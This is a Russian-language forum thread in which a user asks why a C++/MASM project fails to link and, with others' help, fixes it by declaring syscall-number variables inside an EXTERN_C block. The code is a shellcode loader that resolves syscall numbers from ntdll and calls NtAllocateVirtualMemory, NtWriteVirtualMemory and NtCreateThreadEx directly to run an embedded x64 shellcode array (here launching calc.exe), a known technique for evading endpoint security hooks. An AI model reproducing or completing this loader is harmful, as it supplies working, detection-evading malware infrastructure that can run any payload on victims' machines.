Ошибка линковки


yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
У меня есть мой cpp файл
C++:
#include <Windows.h>

#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )

unsigned char buffer[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x43, 0x3a, 0x5c, 0x77, 0x69, 0x6e, 0x64, 0x6f, 0x77,
  0x73, 0x5c, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x33, 0x32, 0x5c, 0x63,
  0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int buffer_len = sizeof(buffer);


EXTERN_C NTSTATUS NtAllocateVirtualMemory(
    HANDLE             ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR          ZeroBits,
    PULONG             RegionSize,
    ULONG              AllocationType,
    ULONG              Protect
);

EXTERN_C  NTSTATUS NtWriteVirtualMemory(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T BufferSize,
    PSIZE_T NumberOfBytesWritten
);

EXTERN_C  NTSTATUS  NtCreateThreadEx
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
);

EXTERN_C  NTSTATUS NtWaitForSingleObject(
    _In_ HANDLE Handle,
    _In_ BOOLEAN Alertable,
    _In_opt_ PLARGE_INTEGER Timeout
);

// for syscall
DWORD wNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
DWORD wNtWaitForSingleObject;

int main()
{

    PVOID exec_mem = nullptr;
    HANDLE rt;

    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    LPBYTE pNtAllocateVirtualMemory = (LPBYTE)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    wNtAllocateVirtualMemory = (pNtAllocateVirtualMemory + 4)[0] ;

    LPBYTE pNtWriteVirtualMemory = (LPBYTE)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    wNtWriteVirtualMemory = (pNtWriteVirtualMemory + 4)[0];

    LPBYTE pNtCreateThreadEx = (LPBYTE)GetProcAddress(hNtdll, "NtCreateThreadEx");
    wNtCreateThreadEx = (pNtCreateThreadEx + 4)[0];

    LPBYTE pNtWaitForSingleObject = (LPBYTE)GetProcAddress(hNtdll, "NtWaitForSingleObject");
    wNtWaitForSingleObject = (pNtWaitForSingleObject + 4)[0];

    NtAllocateVirtualMemory(
        NtCurrentProcess(),
        &exec_mem,
        0,
        (PULONG)&buffer_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    SIZE_T bytesWritten;
    NtWriteVirtualMemory(
        NtCurrentProcess(),
        exec_mem,
        buffer,
        buffer_len,
        &bytesWritten
    );

    NtCreateThreadEx(
        &rt,
        THREAD_ALL_ACCESS,
        nullptr,
        NtCurrentProcess(),
        (LPTHREAD_START_ROUTINE)exec_mem,
        nullptr,
        FALSE,
        0,
        0,
        0,
        nullptr
    );

    NtWaitForSingleObject(rt, FALSE, 0);


}

и есть мой asm файл

C:
EXTERN wNtAllocateVirtualMemory:DWORD
EXTERN wNtWriteVirtualMemory:DWORD
EXTERN wNtCreateThreadEx:DWORD
EXTERN wNtWaitForSingleObject:DWORD

.code

    NtAllocateVirtualMemory proc
            mov         r10,rcx
            mov         eax,wNtAllocateVirtualMemory
            syscall
            ret
    NtAllocateVirtualMemory endp

    NtWriteVirtualMemory proc
            mov         r10,rcx
            mov         eax,wNtWriteVirtualMemory
            syscall
            ret
    NtWriteVirtualMemory endp

    NtCreateThreadEx proc
            mov         r10,rcx
            mov         eax,wNtCreateThreadEx
            syscall
            ret
    NtCreateThreadEx endp

    NtWaitForSingleObject proc
            mov         r10,rcx
            mov         eax,wNtWaitForSingleObject
            syscall
            ret
    NtWaitForSingleObject endp
end

Но при компиляции: Ошибка LNK2019 ссылка на неразрешенный внешний символ wNtAllocateVirtualMemory в функции NtAllocateVirtualMemory. syscall.obj

Что я делаю не так ?
 

MKII

Уважаемый пользователь
Форумчанин
Регистрация
03.10.2022
Сообщения
253
Репутация
177
Ты уверен что ты правильно используешь NtAllocateVirtualMemory и другие функции? Мне кажется ты не так их используешь. Например, ты не указал зависимости, после того как ты укажешь их, нужно линковать obj файл.
Я не силен в асме, но вроде это делается так
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Ты уверен что ты правильно используешь NtAllocateVirtualMemory и другие функции? Мне кажется ты не так их используешь. Например, ты не указал зависимости, после того как ты укажешь их, нужно линковать obj файл.
Я не силен в асме, но вроде это делается так
Так проблема в линковке переменных , а не в вызове функции , если я уберу переменные и буду напрямую просто вызываю эту функции они будут работать
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Так проблема в линковке переменных , а не в вызове функции , если я уберу переменные и буду напрямую просто вызываю эту функции они будут работать
При этом если я уберу вызов функции в коде , то все равно будет ругаться на линковку
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Разобрался , нужно было перменные объявить вот так
Код:
EXTERN_C {
    DWORD wNtAllocateVirtualMemory;
    DWORD wNtWriteVirtualMemory;
    DWORD wNtCreateThreadEx;
    DWORD wNtWaitForSingleObject;
}

а не вот так
Код:
EXTERN_C    DWORD wNtAllocateVirtualMemory;
EXTERN_C    DWORD wNtWriteVirtualMemory;
EXTERN_C    DWORD wNtCreateThreadEx;
EXTERN_C    DWORD wNtWaitForSingleObject;

и все заработало , всем спасибо
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Можно было собирать как Си, тогда достаточно было просто extern.

Вообще странно, почему нельзя было делать так:

EXTERN_C DWORD wNtAllocateVirtualMemory;
EXTERN_C DWORD wNtWriteVirtualMemory;
EXTERN_C DWORD wNtCreateThreadEx;
EXTERN_C DWORD wNtWaitForSingleObject;

Судя по логике особо ничего не поменялось, но нужно макрос смотреть.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
А-а-а ты скорей-всего просто EXTERN объявлял, да в случае С++ нужно именно EXTERN_C.
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Автор темы Похожие темы Форум Ответы Дата
yum ВОПРОС-ОТВЕТ. БАРАХОЛКА 2
Верх Низ